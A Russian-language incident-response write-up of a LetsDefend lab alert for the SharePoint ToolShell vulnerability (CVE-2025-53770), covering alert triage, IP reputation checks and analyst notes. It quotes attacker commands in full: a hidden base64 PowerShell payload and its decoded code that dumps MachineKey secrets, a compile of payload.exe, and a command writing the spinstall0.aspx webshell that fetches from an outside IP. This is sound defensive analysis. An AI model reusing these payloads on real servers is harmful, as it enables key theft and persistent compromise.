
Пошаговый разбор эксплуатации CVE-2025-53770 (ToolShell) в лаборатории LetsDefend, охватывающий RCE, развертывание веб-шелла и анализ реагирования на инциденты.
TL;DR Йоу, в этой лабораторной работе LetsDefend я разобрал zero-day уязвимость SharePoint под названием ToolShell (CVE-2025-53770). По сути, я воспроизвёл реальную атаку, в ходе которой вредоносный POST-запрос обошёл аутентификацию, запустил PowerShell для кражи ключей MachineKeySection, скомпилировал payload.exe и разместил веб-шелл (spinstall0.aspx). Я залогировал всё, проанализировал поведение и изолировал хост. Этот README описывает атаку, мои шаги и извлечённые уроки.
Обзор лабораторной работы
Используемые инструменты:
Windows PowerShell
VirusTotal
AbuseIPDB
LetsDefend Log Management
LetsDefend Enpoint Security
LetsDefend Threat Intel


EventID : 320
Время события : 22 июля 2025 г., 13:07
Правило : SOC342 - CVE‑2025‑53770 SharePoint ToolShell Auth Bypass and RCE
Уровень : Security Analyst
Имя хоста : SharePoint01
IP-адрес источника : 107.191.58.76
IP-адрес назначения : 172.16.20.17
Метод HTTP-запроса : POST
Запрашиваемый URL : /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Referer : /_layouts/SignOut.aspx
Content-Length : 7699
Причина срабатывания оповещения : подозрительный неаутентифицированный POST-запрос к ToolPane.aspx с большим размером полезной нагрузки и подделанным referer, указывающий на эксплуатацию CVE-2025-53770.
Действие устройства : разрешено
Обзор 22 июля 2025 года наш мониторинг безопасности зафиксировал критическую zero-day атаку, нацеленную на локальный экземпляр SharePoint Server с именем SharePoint01.
Сведения о CVE:
Каталог KEV CISA: запись опубликована 20 июля 2025 г.
Вектор атаки: POST-запрос к конечной точке /ToolPane.aspx, подделанный заголовок referer, большая вредоносная полезная нагрузка
Источник: IP 107.191.58.76, Vultr Holdings, LLC, США
О SharePoint Microsoft SharePoint — это основа корпоративной совместной работы и управления документами. По сути, это защищённое, организованное облакоподобное пространство для файлов, рабочих процессов и внутренних приложений.
Основное применение:
Управление документами: версионирование, журналы аудита, контроль файлов
Совместная работа: несколько пользователей одновременно редактируют один документ
Внутренние веб-порталы: новости, обновления, информация для HR, политики
Автоматизированные рабочие процессы: согласования, формы, уведомления
Интеграция: тесная интеграция с Teams, Outlook, Office Suite, Power BI
Вопросы безопасности:
Аутентификация: AD или SSO
Шифрование: данные в покое и при передаче
Веб-части и макеты: могут быть использованы во вред при неправильной конфигурации
Управление обновлениями: критически важно для предотвращения zero-day атак
CVE-2025-53770, также известная как ToolShell, — это zero-day уязвимость SharePoint, эксплуатируемая в реальных атаках. Это критическая уязвимость десериализации в локальных Microsoft SharePoint Server, которая позволяет неаутентифицированное удалённое выполнение кода (RCE). Она сочетается с другими уязвимостями SharePoint (CVE-2025-49704 и CVE-2025-49706) для полной компрометации систем. Она имеет оценку CVSS 9.8, что означает критический уровень.
Они загружают вредоносные веб-шеллы, такие как spinstall0.aspx, через конечную точку ToolPane.aspx, используя подделанные заголовки referrer для обхода аутентификации.
Они извлекают критически важные значения MachineKey из конфигурации SharePoint, чтобы генерировать доверенные полезные нагрузки ViewState для постоянного доступа.
а затем развёртывают программы-вымогатели (например, вариант «Warlock») или похищают учётные данные и устанавливают бэкдоры.
Первое публичное раскрытие: 19 июля 2025 г. (блог Microsoft)
Патчи выпущены: 20–21 июля 2025 г.
Внесена в каталог KEV CISA: 20 июля 2025 г.
Проанализировал IP-адрес отправителя (IP-адрес источника) на VirusTotal
IP-адрес источника : 107.191.58.76

Исходя из этого, я уже знаю, что IP-адрес вредоносный
Теперь мне нужно определить местоположение, из которого пришёл IP, с помощью AbuseIPDB

Вот что я получил :
ISP Vultr Holdings, LLC
Тип использования - Data Center/Web Hosting/Transit
ASN - AS20473
Hostname(s) - 107.191.58.76.vultrusercontent.com
Domain Name - vultr.com
Страна - США
Город - Лос-Анджелес, Калифорния
IP известен взломами, перебором (brute-force), атаками на веб-приложения, сканированием портов, отравлением DNS
Как младший аналитик, решая эту задачу вот как я действовал сначала я нашёл хост в Endpoint Security по имени «SharePoint01».

после обнаружения хоста я перешёл к истории терминала и нашёл командную строку

что происходит в этой команде?
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
→ Запускает PowerShell напрямую из системного каталога.
-nop
→ Без профиля — игнорирует скрипты профиля PowerShell, чтобы избежать обнаружения или вмешательства.
-w hidden
→ Запускает в скрытом окне, чтобы пользователь его не видел.
-e
давайте декодируем это
"PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCJTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg=="
Шаг 1: разведка и перехват полезной нагрузки
Перехваченный POST-запрос к /ToolPane.aspx:
POST /_layouts/15/ToolPane.aspx HTTP/1.1 Host: sharepoint01.lab Content-Type: application/x-www-form-urlencoded Content-Length: 1452 Referer: http://sharepoint01.lab/_layouts/15/settings.aspx User-Agent: Mozilla/5.0 Payload=BASE64_ENCODED_POWERSHELL_PAYLOAD_HERE
Метод: POST-запрос к /ToolPane.aspx в обход аутентификации
Полезная нагрузка: большой обфусцированный PowerShell-скрипт в кодировке Base64
Заголовок Referer: подделан для скрытия источника
Шаг 2: выполнение и эксплуатация:
Я перешёл к декодированию скрипта/полезной нагрузки в Base64-декодере
декодировал с помощью Base64 и получил следующее
"<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void Page\_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object\[0]);
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
}

Позвольте объяснить, что делает приведённый выше скрипт
Он импортирует:
System.Diagnostics
System.IO
⦁ а затем запускает встроенный C#-скрипт внутри PowerShell, который:
загружает сборки System.Web
обращается к System.Web.Configuration.MachineKeySection
извлекает ключи проверки и шифрования из web.config машины
затем записывает их в ответ, вероятно, передавая их атакующему
затем атакующий продолжил отправлять следующую команду
""C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs"
csc.exe — компилятор C# из .NET Framework
затем указывает компилятору сохранить этот «payload.exe» на хосте
эта полезная нагрузка может быть вредоносным ПО
Следующая команда атакующего
""C:\Windows\System32\cmd.exe" /c echo <form runat=\"server\"> <object classid=\"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11\"><param name=\"Command\" value=\"Redirect\"> <param name=\"Button\" value=\"Test\"> <param name=\"Url\" value=\"http://107.191.58.76/payload.exe\"></object></form> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx"
Что она делает
"C:\Windows\System32\cmd.exe" /c -
Запускает следующую команду в командной строке, а затем завершает работу.
echo <form runat=\"server\"> ... </form>-
Выводит небольшой фрагмент ASP.NET-разметки, который будет выполняться на SharePoint-сервере.
Разметка содержит:
<object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"> -
Этот CLSID является элементом управления ActiveX Shell (используется для выполнения shell-команд или специальных действий в контексте IE/COM).
<param name="Command" value="Redirect"> -
Это указывает объекту, какое действие выполнить.
<param name="Url" value="http://107.191.58.76/payload.exe"> -
Указывает на вредоносный EXE-файл, размещённый на удалённом сервере, — скорее всего, это и есть их реальное вредоносное ПО.
Следующая команда атакующего
""C:\Windows\System32\cmd.exe" /c echo <form runat=\"server\"> <object classid=\"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11\"><param name=\"Command\" value=\"Redirect\"> <param name=\"Button\" value=\"Test\"> <param name=\"Url\" value=\"http://107.191.58.76/payload.exe\"></object></form> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx"
И снова, что она делает:
"C:\Windows\System32\cmd.exe" /c -
Запускает следующую команду в командной строке, а затем завершает работу.
echo <form runat=\"server\"> ... </form> -
Выводит небольшой фрагмент ASP.NET-разметки, который будет выполняться на SharePoint-сервере.
А также
Разметка содержит:
<object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
This CLSID is the Shell ActiveX control (used to run shell commands or do special actions in IE/COM context).
<param name="Command" value="Redirect">-
Это указывает объекту, какое действие выполнить.
<param name="Url" value="http://107.191.58.76/payload.exe"> -
Указывает на вредоносный EXE-файл, размещённый на удалённом сервере, — скорее всего, это и есть их реальное вредоносное ПО.
> C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\16\\TEMPLATE\\LAYOUTS\\spinstall0.aspx -
Сохраняет весь этот вредоносный HTML/ASP.NET-объект как spinstall0.aspx внутри папки layouts SharePoint.
Любой файл в этой папке доступен при переходе по соответствующему URL на сайте SharePoint, а это значит, что у атакующего теперь есть веб-страница на вашем сервере, которая запускает вредоносное действие.
Найденные мной командные строки приведены ниже:


После подтверждения, что это опасно, я перешёл к изучению процессов на хосте.
выглядит подозрительно, кишит множеством файловых путей и exe-файлов
просто из любопытства я зашёл в управление журналами и поискал вредоносный IP в логах.
увидел сырую запись лога с POST-запросом
с referer — /_layouts/SignOut.aspx
Затем я решил проверить, была ли атака успешной.
И знаете что? Да, была, поэтому теперь мне нужно изолировать хост для SOC2.
Вот моя заметка аналитика:
Мы обнаружили критическую атаку, эксплуатирующую zero-day уязвимость ToolShell (CVE-2025-53770) на локальном SharePoint Server с именем SharePoint01. Атакующий с известного вредоносного IP (107.191.58.76) отправил неаутентифицированный POST-запрос с огромной полезной нагрузкой на конечную точку SharePoint (ToolPane.aspx), обойдя аутентификацию для удалённого выполнения кода на сервере.
Копнув глубже, атакующий запустил скрытые команды PowerShell, которые декодировали base64-скрипты для кражи чувствительных значений MachineKey SharePoint, что позволило им создавать доверенные полезные нагрузки. Они скомпилировали вредоносный исполняемый файл на хосте, затем разместили веб-шелл (spinstall0.aspx) в папке layouts SharePoint, который загружает и запускает вредоносное ПО с их сервера, обеспечивая постоянный бэкдор-доступ.
После подтверждения компрометации мы изолировали затронутый хост и рекомендовали немедленную установку обновлений, поскольку исправления были выпущены всего за несколько дней до этого. Мы также сканируем другие веб-шеллы, отслеживаем признаки программ-вымогателей или кражи данных и рекомендуем усилить безопасность SharePoint-серверов, чтобы предотвратить дальнейший ущерб.
И заметка для команды:
Заметка для команды: Привет, команда. Мы обнаружили критическую эксплуатацию zero-day уязвимости ToolShell (CVE-2025-53770) на нашем SharePoint-сервере (SharePoint01). Атакующий использовал неаутентифицированный POST-запрос для обхода аутентификации и выполнения удалённого кода, начав с большой подозрительной полезной нагрузки, нацеленной на ToolPane.aspx.
Атакующий запускал скрытые команды PowerShell для кражи чувствительных ключей машины SharePoint, затем скомпилировал и разместил на системе вредоносный исполняемый файл. Они также создали веб-шелл (spinstall0.aspx) в папке layouts SharePoint, который загружает и запускает вредоносное ПО с внешнего сервера, что потенциально даёт им постоянный контроль.
Мы изолировали скомпрометированный хост и рекомендуем срочно установить обновления, поскольку исправления только что вышли. Мы также сканируем похожие веб-шеллы и отслеживаем признаки программ-вымогателей или утечки данных. Будем начеку и усилим безопасность SharePoint в дальнейшем.
Вот мой результат
